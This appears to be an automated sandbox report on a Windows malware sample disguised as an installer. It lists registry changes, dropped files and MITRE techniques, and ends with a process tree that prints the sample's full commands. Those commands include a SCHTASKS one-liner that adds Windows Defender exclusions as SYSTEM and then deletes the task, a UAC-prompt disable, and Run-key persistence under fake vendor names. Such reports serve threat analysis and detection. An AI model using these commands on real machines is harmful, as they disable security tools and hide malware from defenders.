52992e46e72a4d90e697577b97afff8711350b4acc374b580291696eea52ccc2

Analysis

max time kernel
150s
max time network
151s
platform
windows10-2004_x64
resource
win10v2004-20260911-en
resource tags

arch:x64arch:x86image:win10v2004-20260911-enlocale:en-usos:windows10-2004-x64systemwindows
submitted
24/10/2026, 00:03

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
install.2.0.03.exe
Size 30.5MB
Sample261024-acemsaex5w
SHA256 52992e46e72a4d90e697577b97afff8711350b4acc374b580291696eea52ccc2
MD5 5b2224ed3f932bf8a93749922175cc94
SHA1 cff6bd06d543ae8febd4038ac3ba5636deecaeaa
SHA512 b942fdf479afb0b60fa886dc24dc8e138231bec4e3e1a9450c4c235735351e359f2ca2c034e7f0f2b5cb0ce5241c7afdf8bdab986ba7365e6d43b499101f1ac5
SSDEEP 196608:zZKC/p+HINcZBAwLYhuR9lfn+OfIwYooiJiGD5y4IIYCYO:YC/p+HuPOc4P
TLSH
T13C67181BFA809EB7F546963548DB4BA07372E9761752078F70B0B32DBFAE3802E81545
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

defense_evasion discovery execution exploit persistence privilege_escalation trojan

Malware Config

Signatures

UAC bypass 3 TTPs 1 IoCs

defense_evasion trojan

Bypass User Account Control

T1548.002

Disable or Modify Tools

T1562.001

Modify Registry

T1112

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorAdmin = "0"	tj0DaN.exe

Windows security bypass 2 TTPs 10 IoCs

defense_evasion trojan

Disable or Modify Tools

T1562.001

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Public\b2QaPa = "0"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\Documents = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\ProgramData = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\Documents = "0"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\ProgramData = "0"	reg.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
4236	powershell.exe

Drops file in Drivers directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\system32\drivers\etc\hosts	tj0DaN.exe

Possible privilege escalation attempt 23 IoCs

exploit

pid	Process
3900	icacls.exe
3348	icacls.exe
5992	icacls.exe
1844	icacls.exe
1168	takeown.exe
3016	icacls.exe
4864	icacls.exe
3940	icacls.exe
2392	icacls.exe
552	icacls.exe
4644	icacls.exe
1524	icacls.exe
5920	icacls.exe
364	icacls.exe
4160	icacls.exe
2436	icacls.exe
4880	icacls.exe
5448	icacls.exe
4776	icacls.exe
5708	takeown.exe
4204	icacls.exe
5148	icacls.exe
4620	icacls.exe

Checks computer location settings 2 TTPs 2 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-2101206053-1414382737-268919432-1000\Control Panel\International\Geo\Nation	tj0DaN.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2101206053-1414382737-268919432-1000\Control Panel\International\Geo\Nation	h0cThC.exe

Disables service(s) 3 TTPs
defense_evasion execution

Windows Service
T1543.003

Service Stop
T1489

Service Execution
T1569.002

Executes dropped EXE 7 IoCs

pid	Process
5692	h0cThC.exe
2356	h0cThC.exe
4944	tj0DaN.exe
5176	tj0DaN.exe
4520	ov32THisG.exe
5168	tj0DaN.exe
4800	ov32THisG.exe

Loads dropped DLL 7 IoCs

pid	Process
5692	h0cThC.exe
2356	h0cThC.exe
4944	tj0DaN.exe
5176	tj0DaN.exe
4520	ov32THisG.exe
5168	tj0DaN.exe
4800	ov32THisG.exe

Modifies file permissions 1 TTPs 23 IoCs

discovery

File and Directory Permissions Modification

T1222

pid	Process
3348	icacls.exe
5148	icacls.exe
4864	icacls.exe
4776	icacls.exe
1524	icacls.exe
2436	icacls.exe
5708	takeown.exe
5992	icacls.exe
4160	icacls.exe
2392	icacls.exe
3900	icacls.exe
1168	takeown.exe
3016	icacls.exe
3940	icacls.exe
4644	icacls.exe
5448	icacls.exe
1844	icacls.exe
552	icacls.exe
4880	icacls.exe
4620	icacls.exe
5920	icacls.exe
364	icacls.exe
4204	icacls.exe

Adds Run key to start application 2 TTPs 2 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Tencent SecurityHealth = "\"C:\\Users\\Public\\b2QaPa\\h0cThC.exe\""	h0cThC.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Alibaba SecurityHealtha = "\"C:\\Program Files (x86)\\tj0DaN\\tj0DaN.exe\""	tj0DaN.exe

Indicator Removal: Clear Persistence 1 TTPs 10 IoCs

Clear artifacts associated with previously established persistence like scheduletasks on a host.

defense_evasion

Clear Persistence

T1070.009

pid	Process
1132	cmd.exe
3700	cmd.exe
3908	cmd.exe
2192	cmd.exe
2232	cmd.exe
3528	cmd.exe
5624	cmd.exe
5952	cmd.exe
2056	cmd.exe
2660	cmd.exe

Drops file in System32 directory 1 IoCs

description	ioc	Process
File created	C:\Windows\System32\CodeIntegrity\SiPolicy.p7b	h0cThC.exe

Drops file in Program Files directory 18 IoCs

description	ioc	Process
File created	C:\Program Files (x86)\tj0DaN\tj0DaN.exe	h0cThC.exe
File opened for modification	C:\Program Files (x86)\tj0DaN\tj0DaN.exe	h0cThC.exe
File opened for modification	C:\Program Files (x86)\tj0DaN\XPSPLOG.dll	h0cThC.exe
File opened for modification	C:\Program Files (x86)\T23AE78e	tj0DaN.exe
File created	C:\Program Files (x86)\T23AE78e\thumbs.db	tj0DaN.exe
File opened for modification	C:\Program Files (x86)\T23AE78e\thumbs.db	tj0DaN.exe
File opened for modification	C:\Program Files (x86)\T23AE78e\XPSPLOG.dll	tj0DaN.exe
File opened for modification	C:\Program Files (x86)\tj0DaN	h0cThC.exe
File opened for modification	C:\Program Files (x86)\tj0DaN\image.png	h0cThC.exe
File created	C:\Program Files (x86)\T23AE78e\ov32THisG.exe	tj0DaN.exe
File created	C:\Program Files (x86)\tj0DaN\thumbs.db	h0cThC.exe
File opened for modification	C:\Program Files (x86)\T23AE78e\ov32THisG.exe	tj0DaN.exe
File created	C:\Program Files (x86)\tj0DaN\XPSPLOG.dll	h0cThC.exe
File created	C:\Program Files (x86)\tj0DaN\image.png	h0cThC.exe
File opened for modification	C:\Program Files (x86)\tj0DaN\thumbs.db	h0cThC.exe
File created	C:\Program Files (x86)\T23AE78e\image.png	tj0DaN.exe
File opened for modification	C:\Program Files (x86)\T23AE78e\image.png	tj0DaN.exe
File created	C:\Program Files (x86)\T23AE78e\XPSPLOG.dll	tj0DaN.exe

Launches sc.exe 8 IoCs

Sc.exe is a Windows utlilty to control services on the system.

pid	Process
2556	sc.exe
2908	sc.exe
2716	sc.exe
5628	sc.exe
2744	sc.exe
3464	sc.exe
5972	sc.exe
1372	sc.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Event Triggered Execution: Screensaver 1 TTPs 3 IoCs

Screensavers are programs that execute after a configurable time of user inactivity and consist of Portable Executable (PE) files with a .scr file extension.

persistence privilege_escalation

Screensaver

T1546.002

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-2101206053-1414382737-268919432-1000\Control Panel\Desktop\ScreenSaveActive = "0"	tj0DaN.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2101206053-1414382737-268919432-1000\Control Panel\Desktop\ScreenSaverIsSecure = "0"	tj0DaN.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2101206053-1414382737-268919432-1000\Control Panel\Desktop\SCRNSAVE.EXE	tj0DaN.exe

Executes a command shell one-liner 1 TTPs 24 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
3976	cmd.exe
1208	cmd.exe
5372	cmd.exe
5420	cmd.exe
6080	cmd.exe
3120	cmd.exe
2244	cmd.exe
1492	cmd.exe
6036	cmd.exe
4988	cmd.exe
5160	cmd.exe
1072	cmd.exe
6112	cmd.exe
812	cmd.exe
2136	cmd.exe
4288	cmd.exe
5784	cmd.exe
688	cmd.exe
1596	cmd.exe
4748	cmd.exe
3532	cmd.exe
2544	cmd.exe
3756	cmd.exe
4224	cmd.exe

Reads the TCP/IP host and domain name from the registry 1 TTPs 6 IoCs

The configured hostname and DNS domain identify the machine and are commonly collected to profile a host before it reports in.

discovery

System Network Configuration Discovery

T1016

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	tj0DaN.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	install.2.0.03.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	install.2.0.03.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	h0cThC.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	h0cThC.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	tj0DaN.exe

System Location Discovery: System Language Discovery 1 TTPs 64 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	tj0DaN.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	icacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	sc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	icacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	icacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	ov32THisG.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	sc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	icacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	sc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	icacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	icacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	tj0DaN.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	ov32THisG.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net1.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	icacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	icacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	icacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	icacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	sc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net1.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	sc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	icacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	icacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net1.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	icacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	icacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	sc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	takeown.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	tj0DaN.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	icacls.exe

Modifies Control Panel 4 IoCs

defense_evasion

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-2101206053-1414382737-268919432-1000\Control Panel\Desktop\ScreenSaveActive = "0"	tj0DaN.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2101206053-1414382737-268919432-1000\Control Panel\Desktop\ScreenSaverIsSecure = "0"	tj0DaN.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2101206053-1414382737-268919432-1000\Control Panel\Desktop\ScreenSaveTimeOut = "0"	tj0DaN.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2101206053-1414382737-268919432-1000\Control Panel\Desktop\SCRNSAVE.EXE	tj0DaN.exe

Runs net.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 10 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
6140	schtasks.exe
4184	schtasks.exe
6000	schtasks.exe
3864	schtasks.exe
4936	schtasks.exe
4108	schtasks.exe
2188	schtasks.exe
1748	schtasks.exe
5508	schtasks.exe
3264	schtasks.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
4800	install.2.0.03.exe
4800	install.2.0.03.exe
4800	install.2.0.03.exe
4800	install.2.0.03.exe
4800	install.2.0.03.exe
4800	install.2.0.03.exe
4800	install.2.0.03.exe
4800	install.2.0.03.exe
4800	install.2.0.03.exe
4800	install.2.0.03.exe
4800	install.2.0.03.exe
4800	install.2.0.03.exe
4800	install.2.0.03.exe
4800	install.2.0.03.exe
4800	install.2.0.03.exe
4800	install.2.0.03.exe
4800	install.2.0.03.exe
4800	install.2.0.03.exe
4800	install.2.0.03.exe
4800	install.2.0.03.exe
4800	install.2.0.03.exe
4800	install.2.0.03.exe
4800	install.2.0.03.exe
4800	install.2.0.03.exe
4800	install.2.0.03.exe
4800	install.2.0.03.exe
4800	install.2.0.03.exe
4800	install.2.0.03.exe
4800	install.2.0.03.exe
4800	install.2.0.03.exe
4800	install.2.0.03.exe
4800	install.2.0.03.exe
5692	h0cThC.exe
5692	h0cThC.exe
5692	h0cThC.exe
5692	h0cThC.exe
5692	h0cThC.exe
5692	h0cThC.exe
5692	h0cThC.exe
5692	h0cThC.exe
5692	h0cThC.exe
5692	h0cThC.exe
5692	h0cThC.exe
5692	h0cThC.exe
5692	h0cThC.exe
5692	h0cThC.exe
5692	h0cThC.exe
5692	h0cThC.exe
5692	h0cThC.exe
5692	h0cThC.exe
5692	h0cThC.exe
5692	h0cThC.exe
5692	h0cThC.exe
5692	h0cThC.exe
5692	h0cThC.exe
5692	h0cThC.exe
5692	h0cThC.exe
5692	h0cThC.exe
5692	h0cThC.exe
5692	h0cThC.exe
5692	h0cThC.exe
5692	h0cThC.exe
5692	h0cThC.exe
5692	h0cThC.exe

Suspicious behavior: LoadsDriver 4 IoCs

pid	Process
660	Process not Found
660	Process not Found
660	Process not Found
660	Process not Found

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeTakeOwnershipPrivilege	5708	takeown.exe
Token: SeRestorePrivilege	364	icacls.exe
Token: SeTakeOwnershipPrivilege	1168	takeown.exe
Token: SeRestorePrivilege	3348	icacls.exe
Token: SeDebugPrivilege	4236	powershell.exe
Token: SeIncreaseQuotaPrivilege	4236	powershell.exe
Token: SeSecurityPrivilege	4236	powershell.exe
Token: SeTakeOwnershipPrivilege	4236	powershell.exe
Token: SeLoadDriverPrivilege	4236	powershell.exe
Token: SeSystemProfilePrivilege	4236	powershell.exe
Token: SeSystemtimePrivilege	4236	powershell.exe
Token: SeProfSingleProcessPrivilege	4236	powershell.exe
Token: SeIncBasePriorityPrivilege	4236	powershell.exe
Token: SeCreatePagefilePrivilege	4236	powershell.exe
Token: SeBackupPrivilege	4236	powershell.exe
Token: SeRestorePrivilege	4236	powershell.exe
Token: SeShutdownPrivilege	4236	powershell.exe
Token: SeDebugPrivilege	4236	powershell.exe
Token: SeSystemEnvironmentPrivilege	4236	powershell.exe
Token: SeRemoteShutdownPrivilege	4236	powershell.exe
Token: SeUndockPrivilege	4236	powershell.exe
Token: SeManageVolumePrivilege	4236	powershell.exe
Token: 33	4236	powershell.exe
Token: 34	4236	powershell.exe
Token: 35	4236	powershell.exe
Token: 36	4236	powershell.exe
Token: SeIncreaseQuotaPrivilege	4236	powershell.exe
Token: SeSecurityPrivilege	4236	powershell.exe
Token: SeTakeOwnershipPrivilege	4236	powershell.exe
Token: SeLoadDriverPrivilege	4236	powershell.exe
Token: SeSystemProfilePrivilege	4236	powershell.exe
Token: SeSystemtimePrivilege	4236	powershell.exe
Token: SeProfSingleProcessPrivilege	4236	powershell.exe
Token: SeIncBasePriorityPrivilege	4236	powershell.exe
Token: SeCreatePagefilePrivilege	4236	powershell.exe
Token: SeBackupPrivilege	4236	powershell.exe
Token: SeRestorePrivilege	4236	powershell.exe
Token: SeShutdownPrivilege	4236	powershell.exe
Token: SeDebugPrivilege	4236	powershell.exe
Token: SeSystemEnvironmentPrivilege	4236	powershell.exe
Token: SeRemoteShutdownPrivilege	4236	powershell.exe
Token: SeUndockPrivilege	4236	powershell.exe
Token: SeManageVolumePrivilege	4236	powershell.exe
Token: 33	4236	powershell.exe
Token: 34	4236	powershell.exe
Token: 35	4236	powershell.exe
Token: 36	4236	powershell.exe
Token: SeIncreaseQuotaPrivilege	4236	powershell.exe
Token: SeSecurityPrivilege	4236	powershell.exe
Token: SeTakeOwnershipPrivilege	4236	powershell.exe
Token: SeLoadDriverPrivilege	4236	powershell.exe
Token: SeSystemProfilePrivilege	4236	powershell.exe
Token: SeSystemtimePrivilege	4236	powershell.exe
Token: SeProfSingleProcessPrivilege	4236	powershell.exe
Token: SeIncBasePriorityPrivilege	4236	powershell.exe
Token: SeCreatePagefilePrivilege	4236	powershell.exe
Token: SeBackupPrivilege	4236	powershell.exe
Token: SeRestorePrivilege	4236	powershell.exe
Token: SeShutdownPrivilege	4236	powershell.exe
Token: SeDebugPrivilege	4236	powershell.exe
Token: SeSystemEnvironmentPrivilege	4236	powershell.exe
Token: SeRemoteShutdownPrivilege	4236	powershell.exe
Token: SeUndockPrivilege	4236	powershell.exe
Token: SeManageVolumePrivilege	4236	powershell.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 5692 wrote to memory of 5952	5692	h0cThC.exe	95
PID 5952 wrote to memory of 6000	5952	cmd.exe	97
PID 5952 wrote to memory of 6020	5952	cmd.exe	98
PID 5952 wrote to memory of 4792	5952	cmd.exe	103
PID 6036 wrote to memory of 4148	6036	cmd.exe	104
PID 5692 wrote to memory of 3700	5692	h0cThC.exe	105
PID 3700 wrote to memory of 3864	3700	cmd.exe	109
PID 3700 wrote to memory of 2636	3700	cmd.exe	110
PID 5692 wrote to memory of 3908	5692	h0cThC.exe	111
PID 5692 wrote to memory of 2056	5692	h0cThC.exe	114
PID 5692 wrote to memory of 2660	5692	h0cThC.exe	116
PID 3700 wrote to memory of 2280	3700	cmd.exe	118
PID 3908 wrote to memory of 1748	3908	cmd.exe	119
PID 2056 wrote to memory of 4936	2056	cmd.exe	120
PID 2660 wrote to memory of 4108	2660	cmd.exe	121
PID 3908 wrote to memory of 3972	3908	cmd.exe	122
PID 2056 wrote to memory of 5068	2056	cmd.exe	123
PID 2660 wrote to memory of 4828	2660	cmd.exe	126
PID 3908 wrote to memory of 3216	3908	cmd.exe	127
PID 2056 wrote to memory of 1564	2056	cmd.exe	128
PID 2660 wrote to memory of 3300	2660	cmd.exe	129
PID 3976 wrote to memory of 4484	3976	cmd.exe	131
PID 4988 wrote to memory of 1020	4988	cmd.exe	132
PID 5692 wrote to memory of 4944	5692	h0cThC.exe	133
PID 4944 wrote to memory of 4288	4944	tj0DaN.exe	136
PID 4944 wrote to memory of 2544	4944	tj0DaN.exe	138
PID 2544 wrote to memory of 5148	2544	cmd.exe	140
PID 4944 wrote to memory of 5160	4944	tj0DaN.exe	141
PID 4944 wrote to memory of 2192	4944	tj0DaN.exe	144
PID 4944 wrote to memory of 1208	4944	tj0DaN.exe	145
PID 4944 wrote to memory of 5420	4944	tj0DaN.exe	146
PID 4944 wrote to memory of 5372	4944	tj0DaN.exe	149
PID 4944 wrote to memory of 1132	4944	tj0DaN.exe	153
PID 5372 wrote to memory of 4864	5372	cmd.exe	155
PID 2192 wrote to memory of 5508	2192	cmd.exe	156
PID 1208 wrote to memory of 5644	1208	cmd.exe	157
PID 5644 wrote to memory of 4176	5644	net.exe	158
PID 1132 wrote to memory of 3264	1132	cmd.exe	159
PID 4944 wrote to memory of 2232	4944	tj0DaN.exe	160
PID 4944 wrote to memory of 1072	4944	tj0DaN.exe	162
PID 2192 wrote to memory of 5764	2192	cmd.exe	164
PID 1132 wrote to memory of 5788	1132	cmd.exe	166
PID 2192 wrote to memory of 4632	2192	cmd.exe	167
PID 2232 wrote to memory of 2188	2232	cmd.exe	168
PID 1072 wrote to memory of 4880	1072	cmd.exe	169
PID 4944 wrote to memory of 3528	4944	tj0DaN.exe	170
PID 1132 wrote to memory of 6000	1132	cmd.exe	172
PID 2232 wrote to memory of 5964	2232	cmd.exe	173
PID 4944 wrote to memory of 6080	4944	tj0DaN.exe	174
PID 3528 wrote to memory of 6140	3528	cmd.exe	176
PID 2232 wrote to memory of 3504	2232	cmd.exe	177
PID 6080 wrote to memory of 3940	6080	cmd.exe	178
PID 3528 wrote to memory of 2008	3528	cmd.exe	179
PID 4944 wrote to memory of 3756	4944	tj0DaN.exe	180
PID 3528 wrote to memory of 5912	3528	cmd.exe	182
PID 3756 wrote to memory of 5992	3756	cmd.exe	184
PID 1208 wrote to memory of 5972	1208	cmd.exe	183
PID 4944 wrote to memory of 5624	4944	tj0DaN.exe	185
PID 1208 wrote to memory of 1372	1208	cmd.exe	187
PID 5624 wrote to memory of 4184	5624	cmd.exe	188
PID 1208 wrote to memory of 2712	1208	cmd.exe	189
PID 4944 wrote to memory of 688	4944	tj0DaN.exe	190
PID 2712 wrote to memory of 4960	2712	net.exe	192
PID 5624 wrote to memory of 2060	5624	cmd.exe	193

System policy modification 1 TTPs 1 IoCs

defense_evasion

Modify Registry

T1112

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorAdmin = "0"	tj0DaN.exe

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Users\Admin\AppData\Local\Temp\install.2.0.03.exe
"C:\Users\Admin\AppData\Local\Temp\install.2.0.03.exe"
1⤵
- Reads the TCP/IP host and domain name from the registry
- Suspicious behavior: EnumeratesProcesses
PID:4800

C:\Users\Public\b2QaPa\h0cThC.exe
C:\Users\Public\b2QaPa\h0cThC.exe
1⤵
- Checks computer location settings
- Executes dropped EXE
- Loads dropped DLL
- Adds Run key to start application
- Drops file in System32 directory
- Drops file in Program Files directory
- Reads the TCP/IP host and domain name from the registry
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:5692
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Public\b2QaPa\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
  2⤵
  - Indicator Removal: Clear Persistence
  - Suspicious use of WriteProcessMemory
  PID:5952
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Public\b2QaPa\" /t REG_DWORD /d 0 /f"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:6000
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Run /TN "Task1"
    3⤵
    PID:6020
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Delete /TN "Task1" /F
    3⤵
    PID:4792
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
  2⤵
